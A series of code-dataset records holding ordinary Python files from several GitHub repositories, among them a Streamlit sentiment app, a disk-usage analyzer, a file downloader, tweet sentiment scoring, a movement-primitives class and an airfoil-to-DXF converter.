\r\nwarnings.filterwarnings(action='ignore')\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\nst.set_option('deprecation.showPyplotGlobalUse', False)\r\n\r\n#importing the custom module\r\nimport sentiment_analyzer as nlp\r\n\r\nuploaded_file = st.file_uploader(\"Upload your sentiment analysis file.(.csv/.txt files only!)\", type=[\"csv\",'txt','xlsx'])\r\n#st.cache\r\ndf = pd.read_csv(uploaded_file)\r\ndf = df.drop(columns =['user_location'], axis = 1)\r\ndf.fillna(value = {'text':' '},inplace = True)\r\ndf['text'] = df['text'].apply(nlp.clean_text)\r\ndf['Subjectivity'] = df['text'].apply(nlp.getSubjectivity)\r\ndf['Polarity'] = df['text'].apply(nlp.getPolarity)\r\ndf['Analysis'] = df['Polarity'].apply(nlp.getScore)\r\ndf['Vader Sentiment'] = df['Analysis'].apply(nlp.vadersentimentanalysis)\r\ndf['Vader_Analysis'] = df['Vader Sentiment'].apply(nlp.getScore)\r\n\r\n\r\nst.title('Elections Sentiment Analyzer')\r\nst.sidebar.markdown('[The Alpha Team]\\\r\n (https://https://github.com/Joykareko/The-Alpha-Team-DS/)')\r\n\r\noption = st.sidebar.selectbox('Navigation', \r\n[\"Home\",\r\n \"Keyword Sentiment Analysis\", \r\n \"Word Cloud\", \r\n \"Sentiment Prediction\"])\r\n\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\n\r\nif option == 'Home':\r\n st.image('image 2.png',width = 500)\r\n st.write('When it comes to elections, can we be able to predict outcomes \\t'\r\n 'before the elections?\\t This is an App that helps you analyze Elections Sentiments.\\n' \r\n '\\t This App helps predict these sentiments using \\t Rule Based'\r\n '\\t Natural Language Processing Methods and \\t Machine Learning Methods for Text Based Analysis.'\r\n )\r\nif option == 'Keyword Sentiment Analysis':\r\n \r\n st.sidebar.markdown('**How to export a sentiments file?**')\r\n st.sidebar.text('Follow the steps 👇:')\r\n st.sidebar.text('1) Collate the sentiments in csv file.')\r\n st.sidebar.text('2) Tap options > More > Upload file.')\r\n st.sidebar.text('3) Choose a Rule Based Approach(either Textblob or Vader.')\r\n st.sidebar.markdown('*You are set to go 😃*.')\r\n st.sidebar.subheader('**FAQs**')\r\n st.sidebar.markdown('**Is my uploaded data private?**')\r\n st.sidebar.markdown('The data you upload is not saved anywhere on this site or any 3rd party site.')\r\n\r\n\r\n \r\n if uploaded_file is not None:\r\n st.write(type(uploaded_file))\r\n #st.dataframe(df)\r\n \r\n \r\n\t# Model Selection \r\n model_select = st.selectbox(\"Choose a Rule Based Approach\", [\"TextBlob\", \"Vader\"])\r\n\r\n st.button(\"Analyze\")\r\n\t\t\r\n\t\t# Load the model \r\n if model_select == \"TextBlob\":\r\n st.bar_chart(df['Analysis'].value_counts())\r\n plt.title('Sentiment Analysis')\r\n plt.xlabel('Value')\r\n plt.ylabel('Count')\r\n #plt.show()\r\n \r\n \r\n \r\n if model_select == \"Vader\":\r\n st.bar_chart(df['Vader_Analysis'].value_counts())\r\n plt.title('Sentiment Analysis')\r\n plt.xlabel('Value')\r\n plt.ylabel('Count')\r\n \r\n ","repo_name":"Joykareko/The-Alpha-Team-DS","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2828908334","text":"import os\r\nimport sys\r\nimport time\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nfrom pathlib import Path\r\nfrom itertools import islice\r\nfrom datetime import datetime\r\n\r\nclass ReZAnalyzer:\r\n def __init__(self):\r\n self.master_dir = 'C:\\\\'\r\n self.log_file = 'log.tsv'\r\n self.date = datetime.today().strftime('%Y-%m-%d')\r\n\r\n self.log_lines = []\r\n\r\n def record_size(self, dir_path: str, curr_dir: str):\r\n dir_list = os.listdir(self.master_dir)\r\n print(dir_list)\r\n\r\n\r\n def iterate_dir(self, curr_dir: str, dir_layer: int):\r\n if dir_layer == 1:\r\n curr_dir = self.master_dir\r\n\r\n dir_list = (directory for directory in os.listdir(curr_dir) if os.path.isdir(os.path.join(curr_dir, directory)) and directory.startswith('$') == False)\r\n\r\n for item in dir_list:\r\n item_path = os.path.join(curr_dir, item)\r\n\r\n folder_sz = self.get_folder_sz(item_path, 1)\r\n self.log_lines.append(f'[0] {item_path}, Size: {folder_sz}\\n')\r\n\r\n\r\n def get_folder_sz(self, folder_path: str, folder_layer: int):\r\n log_lines = []\r\n size_status = 'Complete'\r\n\r\n if os.path.isfile(folder_path):\r\n print('Only folder size can be calculated with the \"get_folder_sz\" function!\"')\r\n sys.exit(0)\r\n\r\n folder_size = os.stat(folder_path).st_size\r\n\r\n try:\r\n for item in os.listdir(folder_path):\r\n item_path = os.path.join(folder_path, item)\r\n\r\n if folder_layer <= 3:\r\n print(f\"[Layer {folder_layer}] Analyzing {item}...\")\r\n\r\n if os.path.isfile(item_path):\r\n folder_size += os.path.getsize(item_path)\r\n\r\n elif os.path.isdir(item_path):\r\n new_folder_size = self.get_folder_sz(item_path, folder_layer + 1)\r\n folder_size += new_folder_size\r\n\r\n self.log_lines.append(f\"[{folder_layer}] {folder_path}\\{item}, Size: {new_folder_size}\\n\")\r\n # print(self.log_lines)\r\n\r\n except PermissionError as permission_error:\r\n size_status = 'Calc-Incomplete: Permission Denied'\r\n back_slash = '\\\\'\r\n self.log_lines.append(f\"[{folder_layer}] {folder_path}\\{folder_path.split(back_slash)[-1]}, Size: [{size_status}]\\n\")\r\n except FileNotFoundError as file_nf_error:\r\n size_status = 'Calc-Incomplete: File Error'\r\n back_slash = '\\\\'\r\n self.log_lines.append(f\"[{folder_layer}] {folder_path}\\{folder_path.split(back_slash)[-1]}, Size: [{size_status}]\\n\")\r\n\r\n return folder_size\r\n\r\n\r\n def log_output(self):\r\n start = time.time()\r\n print(\"Writing into the log file...\")\r\n\r\n with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), f'{self.date}_{self.log_file}'), 'w+', encoding='utf-8') as file_ptr:\r\n for line in list(reversed(self.log_lines)):\r\n file_ptr.write(line)\r\n\r\n print(f'Log Time Spent: [{time.time() - start} seconds]')\r\n\r\n\r\n def ReZ_analyzer_driver(self):\r\n self.iterate_dir('', 1)\r\n self.log_output()\r\n\r\n\r\nclass ReZCompare:\r\n def __init__(self):\r\n self.log_file = 'log.tsv'\r\n self.date = datetime.today().strftime('%Y-%m-%d')\r\n\r\n self.curr_file_data = {}\r\n self.compare_file_data = {}\r\n self.compare_file_name = sys.argv[1]\r\n\r\n self.compare_result_file = 'results.tsv'\r\n\r\n\r\n def read_logs(self, compare_layer=-1, compare_name=''):\r\n\r\n if compare_layer != -1:\r\n with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), f'{self.date}_{self.log_file}'), 'r', encoding='utf-8') as file_ptr:\r\n log_lines = file_ptr.readlines()\r\n for line in log_lines:\r\n if line.startswith(f'[{compare_layer}]') and line.find('Calc-Incomplete') == -1:\r\n data = line.replace('\\n', '').split(', Size: ')\r\n self.curr_file_data[data[0]] = data[1]\r\n\r\n with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), self.compare_file_name), 'r', encoding='utf-8') as file_ptr:\r\n log_lines = file_ptr.readlines()\r\n for line in log_lines:\r\n if line.startswith(f'[{compare_layer}]') and line.find('Calc-Incomplete') == -1:\r\n data = line.replace('\\n', '').split(', Size: ')\r\n self.compare_file_data[data[0]] = data[1]\r\n\r\n print(self.curr_file_data)\r\n print('\\n')\r\n print(self.compare_file_data)\r\n\r\n elif len(compare_name) > 0 and compare_layer == -1:\r\n print('\\nError: Compare layer must be specified if compare_name is defined.\\n')\r\n sys.exit(0)\r\n\r\n elif len(compare_name) > 0:\r\n pass\r\n\r\n\r\n def compare_logs(self):\r\n compare_results = []\r\n\r\n for curr_file_key in self.curr_file_data:\r\n if self.compare_file_data.__contains__(curr_file_key):\r\n size_diff = int(self.curr_file_data[curr_file_key]) - int(self.compare_file_data[curr_file_key])\r\n if size_diff > 0:\r\n compare_results.append(f'+ Folder {curr_file_key} has a size change of {round(size_diff/1000000, 2)} MB. ({size_diff} bytes)')\r\n elif size_diff < 0:\r\n compare_results.append(f'- Folder {curr_file_key} has a size change of {round(size_diff/1000000, 2)} MB. ({size_diff} bytes)')\r\n else:\r\n compare_results.append(f'= Folder {curr_file_key} has a size change of {round(size_diff/1000000, 2)} MB. ({size_diff} bytes)')\r\n else:\r\n compare_results.append(f'Folder {curr_file_key} with size {self.curr_file_data[curr_file_key]} has been created.')\r\n\r\n\r\n with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), self.compare_result_file), 'w', encoding='utf-8') as file_ptr:\r\n compare_results.sort()\r\n\r\n increase_label = 0\r\n decrease_label = 0\r\n unchange_label = 0\r\n\r\n for line in compare_results:\r\n # print(line)\r\n\r\n if line.startswith('+') and increase_label == 0:\r\n file_ptr.write(f'\\n=======================\\ FILES THAT INCREASED IN SIZE /=======================\\n')\r\n increase_label += 1\r\n elif line.startswith('-') and decrease_label == 0:\r\n file_ptr.write(f'\\n=======================\\ FILES THAT DECREASED IN SIZE /=======================\\n')\r\n decrease_label += 1\r\n elif line.startswith('=') and unchange_label == 0:\r\n file_ptr.write(f'\\n=====================\\ FILES THAT DID NOT CHANGE IN SIZE /=====================\\n')\r\n unchange_label += 1\r\n\r\n file_ptr.write(f'{line}\\n')\r\n\r\n\r\n def ReZ_compare_driver(self):\r\n self.a = 'a'\r\n self.compare_log()\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n start_time = time.time() \r\n\r\n # if len(sys.argv) <= 1:\r\n # print('\\nArguemtns needs to be provided while running the program.\\nExample: py -3.7 [option] ...')\r\n # sys.exit(0)\r\n\r\n # if sys.argv[1] == '-ac' or sys.argv == '--analyze-compare':\r\n # pass\r\n\r\n\r\n if len(sys.argv) > 1:\r\n # analyzer = ReZAnalyzer()\r\n # analyzer.ReZ_analyzer_driver()\r\n\r\n comparator = ReZCompare()\r\n comparator.read_logs(compare_layer=3)\r\n comparator.compare_logs()\r\n else:\r\n analyzer = ReZAnalyzer()\r\n analyzer.ReZ_analyzer_driver()\r\n\r\n\r\n print(f\"Total Time Spent: [{time.time() - start_time} seconds]\")\r\n","repo_name":"ReZeroE/ReZero-Storage-Analyzer","sub_path":"ReZ-Storage-Analyzer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36427180430","text":"from concurrent.futures import ThreadPoolExecutor\nfrom pathlib import Path\nfrom typing import List\n\nimport requests\nfrom rich.progress import Progress, TaskID\n\n\ndef download(url: str, local_path: Path):\n \"\"\"\n Download a file from the given url to the given path.\n\n If path is a file, the file will be downloaded to that path.\n Else, the file will be downloaded to the given path, with the same name as\n the file at the given url.\n\n Parameters\n ----------\n url\n The url to download the file from.\n local_path\n The path to download the file to.\n \"\"\"\n\n with Progress(transient=True) as progress:\n task = progress.add_task(f\"Downloading {Path(url).name}\", start=False)\n _download_with_progress(url, local_path, progress, task)\n\n\ndef download_all(urls: List[str], directory: Path):\n \"\"\"\n Download all files from the given urls to the given directory.\n\n Parameters\n ----------\n urls\n A list of urls to download the files from.\n directory\n The directory to download the files to.\n \"\"\"\n\n if len(urls) == 0:\n return\n\n if len(urls) == 1:\n download(urls[0], directory)\n return\n\n pool_exectutor = ThreadPoolExecutor(max_workers=8, thread_name_prefix=\"download\")\n futures = []\n with Progress(transient=True) as progress, pool_exectutor as pool:\n for url in urls:\n task = progress.add_task(f\"Downloading {Path(url).name}\", start=False)\n future = pool.submit(\n _download_with_progress, url, directory, progress, task\n )\n futures.append((future, url))\n\n failures = []\n for future, url in futures:\n try:\n future.result()\n except Exception as e:\n failures.append(url)\n\n if len(failures) > 0:\n raise Exception(f\"Failed to download {len(failures)} files: {failures}\")\n\n pool_exectutor.shutdown()\n\n\ndef _download_with_progress(\n url: str, local_path: Path, progress: Progress, task: TaskID\n):\n \"\"\"\n download the file at the given url to the given path, and update the given\n progress bar as the file is downloaded.\n \"\"\"\n if local_path.is_dir():\n local_path = local_path / Path(url).name\n local_path.parent.mkdir(parents=True, exist_ok=True)\n\n with requests.get(url, stream=True) as response:\n # raise an exception if the request was not successful\n response.raise_for_status()\n\n file_size = int(response.headers.get(\"content-length\", 0))\n progress.update(task, total=file_size)\n progress.start_task(task)\n\n with open(local_path, \"wb\") as f:\n for chunk in response.iter_content(chunk_size=1024):\n if chunk:\n f.write(chunk)\n progress.update(task, advance=len(chunk))\n","repo_name":"jla-gardner/load-atoms","sub_path":"src/load_atoms/backend/internet.py","file_name":"internet.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"19617550662","text":"\"\"\"\nCompare various methods to ascribe sentiment to tweets\nWith aim to figuring out how much they disagree and figuring out what to\ndo with disagreement\n1) read in all tweets\n2) Double loop:\n Sentiment methods\n Tweets\n Calculate sentiment\n3) For each tweet calculate degree agreement\n4) Calculate which method has highest correlation with other methods\n5) Dump ambiguous tweets\n6) Assign sentiment value based on unanimous agreement\n\"\"\"\n\nimport pymysql.cursors\nimport pandas as pd\nfrom Python_code import sql_vals\nfrom Python_code.text_sentiment.vader import vader\n\n\nTESTING = False\n\n\ndef mysql_connection():\n \"\"\"\n helper function to connect to database\n :return: mysql connection\n \"\"\"\n connection = pymysql.connect(host=sql_vals.host,\n password=sql_vals.password,\n port=sql_vals.port,\n user=sql_vals.user,\n db=sql_vals.db,\n cursorclass=pymysql.cursors.DictCursor,\n charset='utf8mb4')\n return connection\n\n\ndef pull_all_original_tweets():\n \"\"\"\n Hardcoded SQL query to pull all originally selected tweets\n :return original_tweets: pandas dataframe of original tweets\n \"\"\"\n # open database connection\n connection = mysql_connection()\n\n # pull record id, username and image url from all downloaded tweets\n with connection.cursor() as cursor:\n sql = \"SELECT tweet_id, username, text, processed_text \" \\\n \"FROM Original_tweets\"\n if TESTING:\n sql += ' LIMIT 50'\n cursor.execute(sql)\n original_tweets = cursor.fetchall()\n connection.close()\n all_tweets = pd.DataFrame(original_tweets)\n return all_tweets\n\n\ndef return_sentiment_category(score, threshhold):\n \"\"\"\n Used to determine\n :param score: numeric: value calculated from specific method\n :param threshhold: cutoff value below which sentiment = 0\n :return integer: -1 (negative), 0 (neutral), 1 (positive)\n \"\"\"\n if score <= -threshhold:\n return -1\n elif score >= threshhold:\n return 1\n else:\n return 0\n\n\ndef calculate_vader(tweet):\n \"\"\"\n Calculate sentimenet using VADER code\n :param tweet: tokenizable string\n :return integer: -1 (negative), 0 (neutral), 1 (positive)\n \"\"\"\n sentiment = vader.sentiment(tweet)['compound']\n return return_sentiment_category(sentiment, 0.1)\n\n\ndef load_afinn_dictionary(sentiment_file_location, splitter='\\t'):\n \"\"\"\n Creates a sentiment dictionary based on a text file\n dictionary needs to be lines of term and sentiment score\n :param sentiment_file_location: string with location of sentiment data\n :param splitter: text of character to split on = default is tab\n :return sentiment_dictionary: dictionary\n \"\"\"\n sentiment_file = open(sentiment_file_location)\n sentiment_dictionary = {}\n for line in sentiment_file:\n term, score = line.split(splitter)\n sentiment_dictionary[term] = float(score)\n sentiment_file.close()\n return sentiment_dictionary\n\n\ndef calculate_simple_sentiment(tweet, sentiment_dict):\n \"\"\"\n calculate sentiment using AFINN lexicon\n :param tweet: string\n :param sentiment_dict: Dictionary with +/- sentiment scores\n :return:\n \"\"\"\n tokens = tweet.split()\n sentiment = 0\n for word in tokens:\n if word in sentiment_dict:\n sentiment += sentiment_dict[word]\n return return_sentiment_category(sentiment, 1)\n\n\ndef load_huliu_dict(file_location):\n sentiment_dictionary = {}\n negative_words = open(file_location + 'negative-words.txt')\n for line in negative_words:\n if line[0] != ';' and len(line) > 0:\n sentiment_dictionary[line.strip()] = -1\n negative_words.close()\n\n positive_words = open(file_location + 'positive-words.txt')\n for line in positive_words:\n if line[0] != ';' and len(line) > 0:\n sentiment_dictionary[line.strip()] = 1\n positive_words.close()\n\n return sentiment_dictionary\n\n\ndef figure_tweet_stats(result_matrix):\n corr_df = result_matrix.corr()\n print(corr_df)\n corr_df.to_csv('text_sentiment_correlation.txt', sep=' ', index=True,\n header=True, float_format='%.3f')\n return corr_df\n\n\ndef update_database(sentiment_df):\n \"\"\"\n Updates database to indicate tweet sentiment and whether certainty\n tweet_sentiment: -1 = negative, 0 = neutral, 1 = positive\n unclear_sentiment: 0 = clear, 1 = unclear\n :param sentiment_df: Pandas dataframe with sentiment details\n :return:\n \"\"\"\n connection = mysql_connection()\n for i in range(len(sentiment_df.index)):\n with connection.cursor() as cursor:\n tweet = sentiment_df.ix[i, :]\n sql = 'UPDATE Original_tweets SET tweet_sentiment = %s, ' \\\n 'unclear_sentiment = %s WHERE tweet_id = %s'\n clarity = int(not tweet['consistent'])\n sentiment = int(tweet['sentiment'])\n cursor.execute(sql,\n (sentiment, clarity, int(tweet['tweet_id'])))\n connection.commit()\n connection.close()\n\n\ndef calculate_sentiments():\n \"\"\"\n Loops through Tweets in database, calculates sentiment 3 ways and\n updates database with value\n :return:\n \"\"\"\n # 1. get tweet data into a dataframe\n tweet_df = pull_all_original_tweets()\n # 2. Calculate vader sentiment\n tweet_df['vader'] = tweet_df['processed_text'].apply(calculate_vader)\n # 3. Calculate AFINN sentiment (simple word value count)\n afinn_dict = load_afinn_dictionary('AFINN-111.txt')\n tweet_df['afinn'] = \\\n tweet_df['processed_text'].apply(lambda x:\n calculate_simple_sentiment(x,\n afinn_dict))\n # 4. Calculate using Hu/Liu simple +/- word count\n hu_liu_dict = load_huliu_dict('hu_liu/opinion-lexicon-English/')\n tweet_df['huliu'] = \\\n tweet_df['processed_text'].apply(\n lambda x: calculate_simple_sentiment(x, hu_liu_dict))\n\n # 5. identify values with consistent sentiment ratings\n tweet_df['consistent'] = tweet_df.apply(lambda x:\n x['vader'] ==\n x['afinn'] ==\n x['huliu'], axis=1)\n # I think it's better to ascribe Vader sentiment irrespective of consistency\n # tweet_df['sentiment'] = np.where(tweet_df['consistent'] == True,\n # tweet_df['vader'], 99)\n tweet_df['sentiment'] = tweet_df['vader']\n print('Positive sentiment: ' + str(sum(tweet_df['sentiment'] == 1)))\n print('Negative sentiment: ' + str(sum(tweet_df['sentiment'] == -1)))\n print('Neutral sentiment: ' + str(sum(tweet_df['sentiment'] == 0)))\n print('\\nCorrelation stats:')\n figure_tweet_stats(tweet_df[['vader', 'afinn', 'huliu']])\n\n # 6. Update database with sentiment & consistency values\n print('\\nupdating database...')\n update_database(tweet_df)\n\n\nif __name__ == '__main__':\n calculate_sentiments()\n","repo_name":"asterix135/CKME136","sub_path":"Python_code/text_sentiment/compare_sentiments.py","file_name":"compare_sentiments.py","file_ext":"py","file_size_in_byte":7237,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18184985844","text":"class solution(object):\n def groupAnagrams(self, strs):\n \n hashMap = {}\n for s in strs: \n count = [0] * 26\n\n for c in s:\n count[ord(c) - ord(\"a\")] += 1\n\n hashMap[count].append(s)\n\n return hashMap.keys()\n \n # O(n*m)","repo_name":"blaineramsden24/LeetCode","sub_path":"Python/Arrays_and_Hashing/49-group-anagrams.py","file_name":"49-group-anagrams.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73652089531","text":"import moviepy.editor as mp\n\nfile = \"video.mp4\"\noutput = \"example.gif\"\nfps = 27\nquality = 0.35\n\nvideo = mp.VideoFileClip(file)\nvideo = video.resize(width=400)\nvideo.write_gif(output, fps=fps)\n","repo_name":"akshathjain/sliding_up_panel","sub_path":"screenshots/mp4toGIF.py","file_name":"mp4toGIF.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","stars":1312,"dataset":"github-code","pt":"78"} +{"seq_id":"9799658601","text":"\"\"\"Bubble component for the app.\"\"\"\n\nfrom bubblify import styles\nfrom bubblify.state import State\nfrom bubblify.components.message import message\n\nimport reflex as rx\nimport random\n\ndef bubble(cluster) -> rx.Component:\n \"\"\"The bubble.\n\n Returns:\n The bubble component.\n \"\"\"\n colors = [\"#D27CBF\", \"#D2BF7C\", \"#7cb3d2\", \"#7cd2be\", \"#d27c7c\", \"#7cd2b3\", \"#d27cbf\", \"#7cbfd2\"]\n\n return rx.hstack(\n rx.circle(\n rx.text(rx.cond(State.in_focus, rx.foreach(State.messages[State.index_index], message), rx.text(cluster[State.size_index])), \n font_size=40,\n font_weight=\"bold\"\n ),\n rx.text(cluster[State.name_index],\n text_transform=\"uppercase\",\n font_size=16,\n font_weight=600),\n rx.cond(cluster[State.unread_count_index], rx.circle(\n rx.text(cluster[State.unread_count_index], \n font_size=20,\n font_weight=\"bold\"\n ),\n width=\"40px\",\n height=\"40px\",\n background_color=\"#EE3B3B\",\n position=\"absolute\",\n top=\"10%\",\n right=\"10%\",\n border_radius=\"50%\",\n color=\"white\",\n ), rx.text(\"\", display=\"none\")),\n display=\"flex\",\n flex_direction=\"column\",\n justify_content=\"center\",\n padding=\"20px\",\n align_items=\"center\",\n width=cluster[State.diameter_index],\n height=cluster[State.diameter_index],\n position=\"absolute\",\n top=\"calc(50% + \" + cluster[State.positiony_index] + \")\",\n left=\"calc(50% + \" + cluster[State.positionx_index] + \")\",\n background_color=cluster[State.color_index],\n transition=\"all 0.5s ease\",\n on_mouse_enter=State.mouse_enter(cluster),\n on_mouse_leave=State.mouse_leave(cluster),\n on_click=State.bubble_click(cluster),\n z_index=cluster[State.z_index_index],\n ),\n width=\"100%\",\n height=\"100%\",\n )","repo_name":"Joshtray/bubblify","sub_path":"bubblify/components/bubble.py","file_name":"bubble.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3964607367","text":"import copy\nimport logging\nimport numpy as np\n\nfrom numpy.linalg import inv, norm\nfrom scipy.stats import multivariate_normal\nfrom typing import Tuple\n\nREALMIN = np.finfo(np.float64).tiny # To avoid division by 0\n\n# Set up logging\nlogging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s.%(msecs)03d %(levelname)s %(message)s\",\n datefmt=\"%Y-%m-%d,%H:%M:%S\",\n)\n\n\nclass KMP:\n \"\"\"Trajectory imitation and adaptation using Kernelized Movement Primitives.\n\n Parameters\n ----------\n l : int, default=0.5\n Lambda regularization factor for the minimization problem.\n alpha : float, default=40\n Coefficient for the covariance prediction.\n sigma_f : float, default=1\n Kernel coefficient.\n tol : float, default=0.0005\n Tolerance for the discrimination of conflicting points.\n verbose : bool\n Enable/disable verbose output.\n \"\"\"\n\n def __init__(\n self,\n l: float = 0.5,\n alpha: float = 40,\n sigma_f: float = 1.0,\n verbose: bool = False,\n ) -> None:\n self.l = l\n self.alpha = alpha\n self.sigma_f = sigma_f\n self.kl_divergence = None\n self._logger = logging.getLogger(__name__)\n self._logger.setLevel(level=logging.DEBUG if verbose else logging.INFO)\n\n def __kernel_matrix(self, t1: float, t2: float) -> np.ndarray:\n \"\"\"Computes the kernel matrix for the given input pair.\n\n Parameters\n ----------\n t1 : float\n The first input.\n t2 : float\n The second input.\n\n Returns\n -------\n kernel : np.ndarray of shape (n_features,n_features)\n The kernel matrix evaluated in the provided input pair.\n \"\"\"\n\n def kernel(s1, s2):\n return np.exp(-self.sigma_f * norm(s1 - s2) ** 2)\n\n # Compute the kernels\n \"\"\"if len(t1) > 1:\n kernel_matrix = np.eye(self.O) * kernel(t1, t2)\n else:\"\"\"\n dt = 0.001\n ktt = kernel(t1, t2)\n ktdt_tmp = kernel(t1, t2 + dt)\n kdtt_tmp = kernel(t1 + dt, t2)\n kdtdt_tmp = kernel(t1 + dt, t2 + dt)\n # Components of the matrix\n ktdt = (ktdt_tmp - ktt) / dt\n kdtt = (kdtt_tmp - ktt) / dt\n kdtdt = (kdtdt_tmp - ktdt_tmp - kdtt_tmp + ktt) / dt**2\n # Fill the kernel matrix\n kernel_matrix = np.zeros((self.O, self.O))\n dim = self.O // 2\n for i in range(dim):\n kernel_matrix[i, i] = ktt\n kernel_matrix[i, i + dim] = ktdt\n kernel_matrix[i + dim, i] = kdtt\n kernel_matrix[i + dim, i + dim] = kdtdt\n return kernel_matrix\n\n def fit(self, X: np.ndarray, mu: np.ndarray, var: np.ndarray) -> None:\n \"\"\"Train the model by computing the estimator matrix inv(K+lambda*sigma).\n\n Parameters\n ----------\n X : np.ndarray of shape (n_input_features,n_samples)\n Array of input vectors.\n mu : np.ndarray of shape (n_output_features,n_samples)\n Array of output vectors\n var : np.ndarray of shape (n_output_features,n_output_features,n_samples)\n Array of covariance matrices\n \"\"\"\n self.s = copy.deepcopy(X)\n self.xi = copy.deepcopy(mu)\n self.sigma = copy.deepcopy(var)\n self.O, self.N = self.xi.shape\n k = np.zeros((self.N * self.O, self.N * self.O))\n # Construct the estimator\n for i in range(self.N):\n for j in range(self.N):\n kernel = self.__kernel_matrix(self.s[:, i], self.s[:, j])\n k[i * self.O : (i + 1) * self.O, j * self.O : (j + 1) * self.O] = kernel\n if i == j:\n # Add the regularization terms on the diagonal\n k[j * self.O : (j + 1) * self.O, i * self.O : (i + 1) * self.O] += (\n self.l * self.sigma[:, :, i]\n )\n self._estimator = inv(k)\n self._logger.info(\"KMP fit done.\")\n\n def predict(self, s: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n \"\"\"Carry out a prediction on the mean and covariance associated to the given input.\n\n Parameters\n ----------\n s : np.ndarray of shape (n_features,n_samples)\n The set of inputs to make a prediction of.\n\n Returns\n -------\n xi : np.ndarray of shape (n_features,n_samples)\n The array of predicted means.\n\n sigma : np.ndarray of shape (n_features,n_features,n_samples)\n The array of predicted covariance matrices.\n \"\"\"\n self.alpha = 40#s.shape[1] / self.l\n xi = np.zeros((self.O, s.shape[1]))\n sigma = np.zeros((self.O, self.O, s.shape[1]))\n for j in range(s.shape[1]):\n k = np.zeros((self.O, self.N * self.O))\n Y = np.zeros(self.N * self.O)\n for i in range(self.N):\n k[:, i * self.O : (i + 1) * self.O] = self.__kernel_matrix(\n s[:, j], self.s[:, i]\n )\n for h in range(self.O):\n Y[i * self.O + h] = self.xi[h, i]\n xi[:, j] = np.squeeze((k @ self._estimator @ Y.reshape(-1, 1)))\n sigma[:, :, j] = self.alpha * (\n self.__kernel_matrix(s[:, j], s[:, j]) - k @ self._estimator @ k.T\n )\n self._logger.info(\"KMP predict done.\")\n self.kl_divergence = self.KL_divergence(xi, sigma, self.xi, self.sigma)\n\n return xi, sigma\n\n def KL_divergence(self, xi, sigma, xi_ref, sigma_ref) -> float:\n kl_divs = []\n for i in range(self.N):\n # Create a multivariate distribution from data\n kmp_dist = multivariate_normal(xi[:, i], sigma[:, :, i])\n ref_dist = multivariate_normal(xi_ref[:, i], sigma_ref[:, :, i])\n # Evaluate the pdfs of the distributions\n kmp_pdf = kmp_dist.pdf(xi[:, i])\n ref_pdf = ref_dist.pdf(xi[:, i])\n # Compute the Kullback-Leibler Divergence\n #reg_factor = 1e-10 # Avoid getting huge numbers\n kl_div = ref_pdf * np.log(ref_pdf / kmp_pdf)\n kl_divs.append(kl_div)\n # Normalize, since kl divs can range wildly from tiny to huge numbers apprently\n kl_divs = np.array(kl_divs)\n kl_divs /= norm(kl_divs)\n # Compute an aggregate value\n return np.mean(kl_divs)","repo_name":"lbusellato/CoLeCT","sub_path":"src/kmp/KMP.py","file_name":"KMP.py","file_ext":"py","file_size_in_byte":6384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36898444216","text":"#!/usr/bin/python3\n#\n#\n\nimport sys\nimport re\n\n# usage\nif len(sys.argv) < 2:\n\tprint(\"\")\n\tprint(f\"USAGE: {sys.argv[0]} COORDS_FILE [WIDTH] [DEPTH]\")\n\tprint(\"\")\n\tprint(\" COORDS_FILE - path to the profile coordinate file\")\n\tprint(\" WIDTH of the profile in mm\")\n\tprint(\" DEPTH thickness in %\")\n\tprint(\"\")\n\texit(1)\n\n# args\nfilename = sys.argv[1]\nwidth = 1.0\nif len(sys.argv) > 2:\n\twidth = float(sys.argv[2])\ndepth = None\nif len(sys.argv) > 3:\n\tdepth = float(sys.argv[3])\n\n# read file\nf = open(filename, \"rb\")\ndata = f.read()\n\n# parse data\ncoords = []\nmin_y = 1.0\nmax_y = 0.0\nfor line in data.split(b\"\\n\"):\n\tmatches = re.match(b\"^\\s*(-*\\d+.\\d+)\\s*(-*\\d+.\\d+)\\s*$\", line)\n\tif matches:\n\t\tx = float(matches[1])\n\t\ty = float(matches[2])\n\t\tcoords.append((x, y))\n\t\tif y > max_y:\n\t\t\tmax_y = y\n\t\tif y < min_y:\n\t\t\tmin_y = y\n\n# calc thickness\ndepth_org = (max_y - min_y) * 100.0\n\n# dxf-header\nprint(\"0\\nSECTION\\n2\\nENTITIES\")\n\n# dxf-lines\nlast_x = None\nlast_y = None\nfor coord in coords:\n\tx = coord[0] * width\n\ty = coord[1] * width\n\tif depth:\n\t\ty = y / depth_org * depth\n\tif last_x != None:\n\t\tprint(f\"0\\nLINE\\n8\\n0\\n10\\n{last_x}\\n20\\n{last_y}\\n11\\n{x}\\n21\\n{y}\")\n\tlast_x = x\n\tlast_y = y\n\n# dxf-footer\nprint(\"0\\nENDSEC\\n0\\nEOF\")\n\n","repo_name":"multigcs/profile2dxf","sub_path":"profile2dxf.py","file_name":"profile2dxf.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} 